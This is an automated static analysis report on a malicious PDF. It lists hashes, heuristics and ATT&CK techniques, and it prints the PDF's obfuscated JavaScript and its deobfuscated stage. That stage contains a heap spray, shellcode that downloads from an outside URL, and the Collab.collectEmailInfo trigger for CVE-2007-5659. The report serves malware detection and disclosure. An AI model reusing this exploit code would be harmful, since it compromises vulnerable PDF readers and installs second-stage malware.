Malicious PDF — malware analysis report

Static analysis result for SHA-256 7ae8434eeceee563…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12)
MD5: 4f4e1b9f0217c94bb92dc692facab0e4 SHA-1: 7afda961fe250656c1edb252fbd26e1a88a8524f SHA-256: 7ae8434eeceee5636246966f50314c05e3c5fb5d61b841bd0e7b0b525c43a9ba
290 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The deobfuscated script contains a URL, http://abb192.cn/exp/load.php?id=66&spl=4, which is likely used to download and execute a second-stage payload. The use of JavaScript and the specific CVE indicate a client-side exploit targeting PDF viewers.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/exp/load.php?id=66&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js
6369d2e55b0a55d90f38669c677a1e402c4bb87f1bda08cf18d3e9b6eade86c3		 pdf-javascript-stream PDF /JS object 13 at offset 0x365 6313 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function u3AgCw1(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function RG8FRLgGFo(oCOk2){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(oCOk2)"+";"+"}");eval("function WrH1FcKkYWA(n36JaA){var iJAlF="+"0,fZ3s9fazNEs=n36JaA.l"+"en"+"gth,ektv1WGk5muUvx=10"+"2"+"4,CXkzAK3,FhdS5rLfm,ji76yq0kle='',GEuFztQKvTnc=iJAlF,wgybMli=iJAlF,uo2SfADQp=iJAlF,q4nO4h=Ar"+"ra"+"y(63,52,28,53,29,16,7,4,38,15,0,0,0,0,0,0,31,37,3,17,2,49,25,61,50,44,54,30,48,24,41,14,57,8,40,11,10,13,62,42,35,51,60,0,0,0,0,59,0,9,19,23,34,0,55,56,21,33,22,20,39,47,32,36,6,58,45,1,18,12,43,46,26,5,27);f"+"o"+"r(FhdS5rLfm=M"+"at"+"h.c"+"ei"+"l(fZ3s9fazNEs/"+"ektv1WGk5muUvx)"+";FhdS5rLfm>iJAlF;FhdS5rLfm-"+"-){fo"+"r(CXkzAK3=Ma"+"th.m"+"in(fZ3s9fazNEs,ektv1WGk5muUvx);CXkzAK3>iJAlF;CXkzAK3-"+"-,fZ3s9fazNEs-"+"-){uo2SfADQp|"+"=(q4nO4h[n36JaA.cha"+"rCod"+"eAt(GEuFztQKvTnc+"+"+)-48])<"+"<wgybMli;if(wgybMli){ji76yq0kle+"+"=RG8FRLgGFo"+"(63^uo2SfADQp&"+"2"+"5"+"5);uo2SfADQp>"+">="+"8;wgybMli-"+"="+"2;}el"+"se{wgybMli="+"6"+";}}"+"}return (ji76yq0kle);}var VcIAFQRw=implode('',['@oo','cUGEx94Jx2UctyGjBuGie@7AjQGi@U3ocp','4iy7','ZCj','TyycS','FykCGC','h1','hAs2Fl','4cg3zmh','jzA','i','l','jbZs','xl3','c','DaR3hjZsC@n1h','jUAj','@2','i','c','mGjFrhp','K','xyEkxyy','j','S4hy','Uuexl3cDaR3hj5o','cmGj','F','rh','pKxG','s','yD','ZicmGjFr','hpKxCn5@g3z','mh','jzAilj@QL6K','G','JzA3jFgNh7u','NkcurkbjyyjcZL7R4j@aonjc','sCB','j5L6UN3tT3kk@g3zmh','jzAilj7Zi5','@oAtCE3','tjshk@13hO3Acqs','At6','41y','jZsC@oocU','GCKgr6cFE','y@@QL6921B2Ge','c9L3B2CL','6a','Phb@R7zk4Ah','J','Gi','e@RkkxE7','cKG','ojc1ipTreBSLn','p','Tr','eBS','Lnp','Tre','B','SLnpTG','5Kq3lpTE','eBT1lpTA','5DZFnpT4LB','GFnpT4','LB9','gnpTNcKuL','npTN','cBSL','n','pTNc@PPl','pTN','fs9RnpTAcKqE','lp','TAcK','P','AlpT45@QolpTrcKSR','lpTNcKqAlpTAL','DqAlpTN6BVAlpTF5KaInpTr5','BPEnp','TF5','KaIn','pT','An','KqinpTNcK9L','npTN','cK','q3lpTAL','D','q','AlpT3ls9LnpTA','n','B','6nnpT','NlBVPnpTGeD9LnpTNcKOgnpTNcKqAl','pTPl@','aon','pT3','lsq','3l','pTieD6nnpTAnDOgn','pT','GeD','qPnpTNcKOo','lpTNcKqAlp','TPl@aonp','T3ls','qinp','TEl','@','6n','n','pTPL','BTolp','T','GeD','UIlpTN','c','K','9IlpTNcKqAlpTPl@aonpT3ls','qEn','pTGLB6n','n','pTG5KUg','npTGeD6o','l','p','TNcKu1lpT','NcKqA','lpT','Pl@aonpT3l','sP','Alp','T3nK6','nnpTGn@p','onpTGeDT','nn','pTNcKUMnpT','NcKqAlpTPl@aon','pT','PcKP3l','pTr6Daol','pTF','n@ULlpTA5DO','Rn','pTA6DVP','l','pTNf','s9onp','TNcKqNlp','T3','lB','q','AlpTFn@aon','pTALDZ3l','pTNc@VPlp','T','N','lK6RnpTALDGAnpT','A6DGPlpTG','eD','GFnpTNcKaInpTNcKqAl','pT4eD','GAlp','TAlD_FnpTF','5KZGnpTiL','s','9nnpT','NcKqAlpTA5Dq','Al','pTA6BVPlpT3','n@aInpT35Ka','Llp','TA5D','G','AlpT','EcK','VPlpT','PL','B6nnp','TNcKqAlpT3cK','qA','lpTPl','@','aInp','T4n','D','P3lp','T3cDq','rlpT3l@aInpTGeDPinpT','NcK6R','l','pTNc','KqA','lpTP','l@qElpT3LsZAlpT','36Bq','AlpTElBp','g','npT3Ls','6','glpT','Nc@VA','l','pT','4n@pn','n','p','TNc','KqAlp','TF','n@OZnpT','A','LDZAlpTN6BVPlp','TNlK6Rn','pTAL','DGAnpTA6DGP','lpTPc','K9nnp','T','Nc','KqAlpT4','nDqAlp','T36','D','q4npTPl','@qElpTr','6@Z3lpT36@uI','npTPLBGElp','TEcKp','glpT','36@GAlpT','Pl@aInpT4n','DPE','npT','3cDqPlpT3l@aInpTG','eDPinp','TNc','KZ','El','pT','N','c','KqAlpTN','cK','6','Rn','pTF','n@OZnpTALDZA','lpTN6DVP','lpTNfK6RnpT','AL','DGAnp','TA6DGPlpTAc','K9','nnpTNcK','qAlpT4','nDq','AlpTALD','O','Znp','T','AcKV','Pl','pTNlK6RnpT','ALDGAnpTA6DGP','lp','TNcK9nnpTNc','KqAlpTPlKqAlpT3fKGr','npTGn','KqElpTGnKq','ElpTG','nKqE','lpTGn','KqElpTGeBaLlpT3','lDq','3lpTALD','GElpTGLKuRnpT3fKO2npTG5KO','ZnpTAL','DG','Plp','TA','LD','9L','n','pTN6Dp1n','pT3cBaInp','T3lsqEnpTFe@aInp','T','ALD','_En','pTA','lBp1lpTN6','@pnnpT3lsOLlpTFnsaI','npTN6@Z','AlpT','r6@OLlpTPcD','UonpT','r','5','BVN','l','pT3e@','qElpTr6','@GFnpTNfBOMnpTA','cKTgnpTP','LK_','NnpTN','6Dp1lpT3nBURlpTN6@q3n','p','TPcK','OIlp','TPnK9InpTP','nB_rnpTF','n@GPnpT','3l','D9glpTGLDaI','npT3l','DaInpTN6@Z3lpT4nsu1npTN','6','BaInpT','ALD','V','rnpTA6','BGNnpTE5B','qElp','TN','c@','aInp','TN6@aI','npT3','l','BUglpT','3','LKG3npTNcKqi',
... (truncated)
generic_stage_recovery_000.js
2d52e781cafb8550df98aac97328bcb58f56cc4bc5382625a1a8565fef6ad222		 deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x365 2537 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var TpXTcLvzP2s = new Array(); function jKj9cII(aPPZRZGe, WXB66eh) { while (aPPZRZGe.length*2<WXB66eh){aPPZRZGe += aPPZRZGe;} aPPZRZGe = aPPZRZGe.substring(0,WXB66eh/2); return aPPZRZGe; } function bhqbaEouxx() { var FGDcfcC = 0x0c0c0c0c; var uSkhiI = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u363D%u2636%u7073%u3D6C%u0034"); var PF8lTkQ6wX = 0x400000; var WHz8asvx = uSkhiI.length * 2; var WXB66eh = PF8lTkQ6wX - (WHz8asvx+0x38); var aPPZRZGe = unescape("%u9090%u9090"); aPPZRZGe = jKj9cII(aPPZRZGe, WXB66eh); var KlYfQHUJp = (FGDcfcC - 0x400000)/PF8lTkQ6wX; for (var sNXWo8EejosXi=0;sNXWo8EejosXi<KlYfQHUJp;sNXWo8EejosXi++) { TpXTcLvzP2s[sNXWo8EejosXi] = aPPZRZGe + uSkhiI; } } function BKSH6w() { var K3y4KNLJUv = app.viewerVersion.toString(); K3y4KNLJUv = K3y4KNLJUv.replace(/\D/g,""); var BscseAY6S = new Array(K3y4KNLJUv.charAt(0),K3y4KNLJUv.charAt(1),K3y4KNLJUv.charAt(2)); if ((BscseAY6S[0] == 8 && ((BscseAY6S[1] == 1 && BscseAY6S[2] < 2) || BscseAY6S[1] < 1)) || (BscseAY6S[0] == 7 && BscseAY6S[1] < 1) || (BscseAY6S[0] < 7)) { bhqbaEouxx(); var uHFZchrie = unescape("%u0c0c%u0c0c"); while(uHFZchrie.length < 44952) uHFZchrie += uHFZchrie; this.collabStore = Collab.collectEmailInfo({subj: "",msg: uHFZchrie}); } } BKSH6w();

Open this report in the interactive analyzer, or submit your own file for analysis.